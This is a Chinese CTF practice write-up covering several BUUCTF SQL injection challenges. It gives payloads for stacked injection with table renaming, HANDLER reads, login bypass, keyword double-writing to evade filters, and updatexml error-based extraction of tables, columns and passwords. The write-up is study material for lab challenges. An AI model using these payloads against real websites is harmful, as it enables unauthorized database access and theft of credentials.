buu刷题笔记之sql注入
[强网杯 2019]随便注
第一种方法:堆叠注入
payload:1';or 1=1
查看数据库:1';show databases;
查看表名:1';show tables;
查看这两个表的列值:1';show columns from words;
1';show columns from `1919810931114514`
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦
payload:0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
再用一下一开始的操作id=1' or 1=1#
方法二:handler
1';handler `1919810931114514` open;handler `1919810931114514` read first#
[极客大挑战 2019]LoveSQL
发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:
用户名:1' or 1=1#
密码:随便输
跳转到check.php页面 登录成功,得到用户名和密码,密码尝试md5解密,失败。
后面就是一系列的常规sql注入,不在赘述。
[极客大挑战 2019]BabySQL
和上一题差不多,这一题只是过滤了and、select、or、from、union、where这些关键字,可以通过双写桡过。
后面步骤也一样,就不在赘述了。
[极客大挑战 2019]HardSQL
'and 1=1#
被拦截
经测试:and、or、空格、=
等被封死了,想想其他的办法,可以使用extractvalue
和updatexml
进行报错注入
空格和=号
会被检测,所以我们要使用()
来代替空格,使用like
来代替=号
,使用^
等同于and
爆库:payload:username=admin'^Updatexml(1,concat(0x7e,database()),1)%23&password=admin
爆表:payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23&password=admin
爆列名payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1)%23&password=admin
爆数据payload:username=admin'^Updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1)%23&password=admin
发现显示不完整:
补充知识点:
left()
right()
函数,
LEFT(ARG,LENGTH)
、RIGHT(ARG,LENGTH)
LEFT
、RIGHT
函数返回ARG最左边、右边的LENGTH
个字符串,ARG可以是CHAR
或BINARY STRING
发现只能输出32位左右,那我们让他从右往左输出30个,然后拼接
payload:'^updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1)#
拼接得到flag